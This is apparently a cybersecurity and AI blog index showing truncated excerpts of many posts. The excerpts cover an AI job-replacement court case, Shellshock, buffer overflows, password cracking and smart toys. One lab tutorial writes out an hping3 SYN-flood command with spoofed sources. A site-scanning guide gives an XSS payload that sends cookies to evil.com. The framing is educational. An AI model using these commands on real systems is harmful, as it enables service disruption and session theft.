Axel Legay | Cybersécurité & Intelligence Artificielle

Licencié parce que remplacé par une intelligence artificielle : la justice chinoise donne raison au salarié Par Axel Legay — Expert en cybersécurité et intelligence artificielle Une entreprise peut-elle licencier un salarié simplement parce qu'une intelligence artificielle est désormais capable d'effectuer son travail ? En Chine, une décision de justice rendue publique en avril 2026 apporte une réponse qui pourrait alimenter les débats bien au-delà des frontières du pays. Un salarié remplacé par l'IA a obtenu plus de 260 000 yuans d'indemnités après avoir refusé une rétrogradation accompagnée d'une réduction de salaire de 40 %. Un salarié chargé de contrôler l'intelligence artificielle… remplacé par l'IA L'histoire se déroule à Hangzhou, une ville chinoise devenue l'un des grands centres technologiques du pays. C'est notamment dans cette région que se développent certaines des entreprises les plus ambitieuses dans le domaine de l'in...

Je travaille depuis de nombreuses années sur la cybersécurité, l’intelligence artificielle et la fiabilité des systèmes informatiques. Ces domaines ont énormément changé. La cybersécurité n’est plus seulement une affaire de pare-feu, d’antivirus ou de mots de passe, et l’intelligence artificielle n’est plus confinée aux laboratoires de recherche. Les deux se rencontrent désormais presque quotidiennement. C’est aussi la raison d’être de ce blog. J’y publie aussi bien des explications techniques que des réflexions plus générales sur l’évolution de notre rapport au numérique. Mon objectif reste le même : essayer de comprendre les technologies avant de céder à la fascination ou à la peur qu’elles peuvent provoquer. La cybersécurité a changé de dimension Il y a encore quelques années, parler de cybersécurité revenait souvent à parler de vulnérabilités, de réseaux, de logiciels malveillants ou de protection des postes de travail. Tout cela existe toujours, bien entendu, mais le problèm...

Why Apps Crash (And How Developers Prevent It) ✨ Why Apps Crash (And How Smart Developers Keep Them Running) 😠 The classic: “Something went wrong…” You tap a button in your favorite app. You wait. Suddenly... nothing. Or worse, the app freezes, and you get that lovely error message: “Oops! Something went wrong.” Why does this happen? And more importantly— how can developers prevent it? 🌍 Apps talk to other computers (a lot) Most modern apps don’t work alone. They constantly request data from servers. This is called an API request . Imagine an app asking for: Temperature Wind speed Air quality If just one server is down, everything fails . You get nothing. 🔥 The old way: All or nothing Promise.all([ fetch('/temperature'), fetch('/wind'), fetch('/airquality') ]) .then(handleResults) .catch(showErrorToUser); If any one of these fetches fa...

Construire un mini pare-feu IA pour le navigateur avec JavaScript et l'API de GPT Introduction : Pourquoi un pare-feu côté navigateur ? Dans un monde où les interactions numériques se font majoritairement via des navigateurs web, la sécurité à ce niveau est cruciale. Or, la plupart des dispositifs de protection (pare-feu, antivirus, anti-spam) sont centrés sur le réseau ou le système. Ce que nous proposons ici est un concept simple mais prometteur : un pare-feu comportemental côté navigateur, à l’aide d’une API d’IA. Notre projet est développé en JavaScript , le langage natif du navigateur. Plutôt que de réinventer la roue avec un moteur d’analyse complexe, nous tirons parti de la puissance d’un modèle d’intelligence artificielle existant (GPT-3.5) . Cela permet de simplifier considérablement le développement tout en profitant des capacités avancées d’analyse contextuelle qu’offrent les IA modernes. Là où autrefois il aurait fallu écrire, maintenir et mettre à jour manuellem...

Détection d'une attaque DDoS avec Snort et Kali Linux Mener une Attaque DDoS avec Kali Linux et la Détecter avec Snort Avertissement : ce tutoriel est destiné à un usage éthique et pédagogique dans un environnement de test. Toute utilisation non autorisée est interdite. 1. Objectif Simuler une attaque DDoS depuis Kali Linux et observer sa détection en temps réel par Snort. Cette approche est parfaite pour un exercice red/blue team. 2. Préparation de l'environnement Attaquant : Kali Linux Cible : Ubuntu Server avec Apache Snort IDS : sur une machine intermédiaire (interface en mode promiscuous) 3. Simulation d'une attaque DDoS 3.1 SYN Flood avec hping3 Le SYN flood sature les connexions TCP en enchaînant des paquets SYN sans finaliser le handshake. sudo hping3 -c 50000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.20 3.2 HTTP Flood avec GoldenEye GoldenEye provoque un déluge de requêtes HTT...

🔓 Peut-on vraiment "craquer" un mot de passe ? Une démonstration pas à pas 👇 Ce qu’on va faire Dans cet article, on montre concrètement comment un outil gratuit (présent dans Kali Linux) peut retrouver un mot de passe simple en quelques secondes. Mais on va aussi voir pourquoi un mot de passe complexe bloque toute attaque — et comprendre pourquoi. 🛠️ Les outils nécessaires On utilise un outil connu des experts cybersécurité : John the Ripper (inclus dans Kali Linux, utilisé pour les tests d’audit de mots de passe). John ne "pirate" pas un système en ligne. Il teste des mots de passe chiffrés en local , comme s’il avait volé un fichier de mots de passe (un hash). Cela simule ce qui se passe quand un hacker récupère une base de données de mots de passe cryptés . ✅ Étape 1 – Créer un mot de passe simple et le chiffrer On va créer un mot de passe : bonjour123 Puis on le chiffre avec cette commande : echo -n "bonjour123" | openssl passwd -...

AI, Consent, and Control: Who Owns Your Digital Shadow in 2025? In 2025, artificial intelligence no longer relies solely on explicit inputs. It thrives on signals we don’t even realize we emit — patterns in our behavior, tone of voice, scrolling habits, micro-delays in typing. These fragments, stitched together by machine learning models, form what is increasingly referred to as your “digital shadow.” This digital shadow is not just metadata. It's a real-time simulation of who you are, used to predict what you will do, feel, or choose. And the question that arises now is not whether we are being watched, but whether we still own our agency in a world where AI interprets and acts on our behalf — often without our knowledge or permission. The Invisible Profile Traditional privacy concerns were about data leaks, hacked passwords, and overreaching cookies. In 2025, the threat is more subtle and systemic: inference. AI systems are not just storing your data; they are constructin...

Créer une API Météo Intelligente avec Python, IA et FastAPI 🌦️ Créer une API Météo Intelligente avec Python, IA et FastAPI Ce projet consiste à créer une API REST moderne qui interroge un service météo en temps réel, puis applique un modèle de machine learning pour prédire la température dans les prochaines heures. Le tout est exposé via une interface web performante grâce à FastAPI. 🧠 Objectif de l'API Collecter les données météo d'une ville via l'API OpenWeatherMap Appliquer un modèle IA entraîné sur des données historiques Exposer les résultats sous forme d’API REST 🧰 Librairies utilisées Outil Utilisation requests Appels HTTP à l'API météo pandas Manipulation de données scikit-learn Modélisation de la prédiction météo FastAPI Création de l’API REST uvicorn Serveur de développement performant pip install fastapi uvicorn requests pandas scikit-learn 📡 Récupération des données météo...

Introduction au Machine Learning avec Python : Votre Premier Modèle IA de A à Z L'intelligence artificielle, souvent associée à des concepts abstraits et complexes, devient accessible grâce à Python. Aujourd’hui, vous allez découvrir comment créer un modèle de machine learning qui apprend à prédire si un passager du Titanic a survécu ou non. Ce projet concret vous donnera une vraie compréhension de ce qu’est l’IA appliquée. Étape 1 : Comprendre les données et le rôle de df Dans ce tutoriel, nous utilisons un jeu de données très célèbre : celui du Titanic. Chaque ligne représente un passager, avec des colonnes comme son âge, son sexe, sa classe dans le bateau, le prix payé pour son billet, et surtout, s’il a survécu ( Survived = 1 ) ou non ( Survived = 0 ). Quand on lit ce fichier CSV avec pandas , on stocke les données dans une structure appelée DataFrame , abrégée en df . Un DataFrame est un tableau à deux dimensions : les colonnes sont les variables (âge, sexe…), et ch...

Introduction : pourquoi analyser les failles ? Dans le monde de la cybersécurité, l’analyse de faille est un processus indispensable. Elle permet d’identifier et corriger les vulnérabilités avant qu’elles ne soient exploitées. Un attaquant n’a besoin que d’un seul point faible : à nous de le détecter avant lui. Dans cet article, nous allons nous intéresser à une faille emblématique : Shellshock (CVE-2014-6271), qui a touché Bash en 2014. Nous verrons comment utiliser Nikto , un scanner de vulnérabilités web, pour la détecter, comment l’exploiter manuellement, et surtout comment s’en prémunir. Pour cela, il est essentiel de comprendre le rôle joué par CGI (Common Gateway Interface) dans l’exploitation. 🧠 CGI : le chaînon faible de Shellshock Qu’est-ce que CGI ? CGI (Common Gateway Interface) est une spécification permettant à un serveur web d’exécuter des programmes externes – appelés scripts CGI – pour générer dynamiquement des réponses HTTP. Ces scripts peuvent être écrits e...

Comprendre les Buffer Overflows - Analyse Technique 🗂️ Table des matières 🧠 Introduction 📚 Comprendre la vulnérabilité 🛠️ Compilation sans protections 🔎 Mécanisme d'exploitation 🛡️ Protections modernes 🧰 Outils à connaître 🔧 Environnement Docker 📌 Rappel sur les registres : Lorsqu'une fonction est exécutée, plusieurs registres processeur sont utilisés. Parmi eux : RIP (x86_64) : registre d'instruction, contient l'adresse de la prochaine instruction à exécuter. EIP (x86 32-bit) : équivalent de RIP sur les systèmes 32 bits. RBP / EBP : pointeur de base de la pile, souvent utilisé pour référencer les variables locales et les arguments. RSP / ESP : pointeur de sommet de la pile, toujours à jour avec l'adresse actuelle du haut de pile. Ces registres sont au cœur des méca...

🔐 Scanner son propre site web pour détecter les vulnérabilités : un guide complet pour débutants et curieux de cybersécurité 🧭 Pourquoi ce guide ? Internet est une vitrine. Et comme toute vitrine, elle peut être brisée. Un site web non sécurisé peut être : défiguré (defacement) utilisé pour héberger du code malveillant piraté pour voler des données utilisateurs utilisé comme relais pour des campagnes de phishing 👉 Pourtant, 80 % des failles exploitées aujourd’hui sont connues et évitables . Dans cet article, je vous montre comment scanner votre propre site pour détecter les vulnérabilités les plus courantes. 🚨 Exemples concrets d'attaques fréquentes 1. XSS (Cross-Site Scripting) But : injecter du JavaScript malveillant dans une page web. Exemple : <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> Résultat : vol de session, redirection ou infection. 2. Exposition de fichiers sensibles But : accéder à des fich...

  Les jouets intelligents n’ont rien de nouveau… mais ce qui arrive change tout L’univers du jouet connaît depuis quelque temps une transformation silencieuse. On parle beaucoup de technologies dans la santé, la finance ou la mobilité, mais plus rarement dans les espaces dédiés à l’enfance. Pourtant, c’est bien dans la chambre des enfants que se joue une des mutations les plus délicates et peut-être les plus structurantes de notre rapport à l’intelligence artificielle. Car les jouets dits « intelligents » ne datent pas d’hier. Depuis plus de dix ans, les fabricants expérimentent des objets capables d’interagir, de répondre, voire d’apprendre. Mais ce qui émerge aujourd’hui, à travers des partenariats comme celui que Mattel vient de conclure avec OpenAI, n’est pas simplement une nouvelle gamme de jouets connectés. C’est un changement de nature. Dès le début des années 2010, des jouets ont été équipés de capteurs, de micros, de voix synthétiques. Des poupées comme Hello Barbie ont ...

  In a world where information flows faster than ever, journalism has never been more vital — or more vulnerable. The press plays a central role in holding power to account, exposing injustice, and informing democratic debate. But this mission comes at a cost. Media organizations increasingly find themselves under digital siege, facing relentless cyber attacks designed not only to silence but also to manipulate. Behind these assaults lie complex forces: authoritarian governments seeking control, shadowy cyber units, and the chaotic amplification of social media platforms. The State’s Expanding Grip on Information One of the most significant drivers of cyber attacks on the press is the ambition of states — particularly authoritarian regimes — to dominate the narrative. In many parts of the world, governments no longer rely solely on censorship or physical intimidation. Instead, they turn to digital warfare: surveillance, hacking, blackmail, and disruption campaigns engineered to neu...